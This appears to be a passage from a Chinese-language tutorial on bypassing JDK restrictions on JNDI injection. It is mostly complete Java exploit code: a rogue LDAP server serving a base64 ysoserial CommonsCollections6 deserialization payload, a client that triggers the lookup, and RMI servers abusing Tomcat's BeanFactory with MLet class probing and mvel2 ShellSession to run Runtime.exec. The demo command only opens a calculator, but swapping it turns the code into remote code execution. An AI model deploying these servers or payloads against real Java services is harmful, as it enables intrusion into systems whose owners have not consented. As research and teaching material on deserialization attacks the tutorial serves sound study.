package jndi_rmi_injection; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.text.ParseException; public class ldap_javaSerializedData_server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { public OperationInterceptor () { } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { e.addAttribute("javaClassName", "Exploit"); try { // java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64 e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
模擬受害者進行JNDI lookup操作,或者使用Fastjson等漏洞模擬觸發,即可看到彈計算器的命令被執行。
package jndi_rmi_injection; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient { public static void main(String[] args) throws NamingException{ try{ String url = "ldap://localhost:1389/Exploit"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }catch (Exception e){ e.printStackTrace(); } } }
這種繞過方式需要利用一個本地的反序列化利用鏈,如CommonsCollections或者結合Fastjson等漏洞入口點和JdbcRowSetImpl進行組合利用。
利用CLASSPATH不那麼常見的類構造gadget
1、javax.management.loading.MLet 探測類是否存在
javax.management.loading.MLet這個類,通過其loadClass方法可以探測目標是否存在某個可利用類(例如java原生反序列化的gadget)
由於javax.management.loading.MLet繼承自URLClassLoader,其addURL方法會訪問遠程服務器,而loadClass方法可以檢測目標是否存在某個類,因此可以結合使用,檢測某個類是否存在。
package jndi_rmi_injection; import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef; public class MLet_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef ref = new ResourceRef("javax.management.loading.MLet", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); ref.add(new StringRefAddr("b", "http://127.0.0.1:8081/")); ref.add(new StringRefAddr("c", "andrew_hann_class")); //觸發點在resourceRef的getObjectInstance()方法中 ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
上面出現404,則說明前面對ELProcessor類的加載成功了。當loadClass需要加載的類不存在時,則會直接報錯,不進入遠程類的訪問,因此http端收不到GET請求。
2、org.mvel2.sh.ShellSession.exec()
<dependency> <groupId>org.mvel</groupId> <artifactId>mvel2</artifactId> <version>2.4.12.Final</version> </dependency>
服務端代碼如下,
package jndi_rmi_injection; import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef; public class mvel2_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); ref.add(new StringRefAddr("forceString", "a=exec")); ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");")); //觸發點在resourceRef的getObjectInstance()方法中 ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
參考鏈接:
https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/ https://github.com/kxcode/JNDI-Exploit-Bypass-Demo https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://zhuanlan.zhihu.com/p/471482692 https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/ https://koalr.me/posts/commonscollections-deserialization/ https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/ https://www.cnblogs.com/expl0it/p/13882169.html https://blog.csdn.net/weixin_45682070/article/details/121888247 https://www.cnblogs.com/zpchcbd/p/14941783.html https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/ https://www.cnblogs.com/bitterz/p/15946406.html https://tttang.com/archive/1405/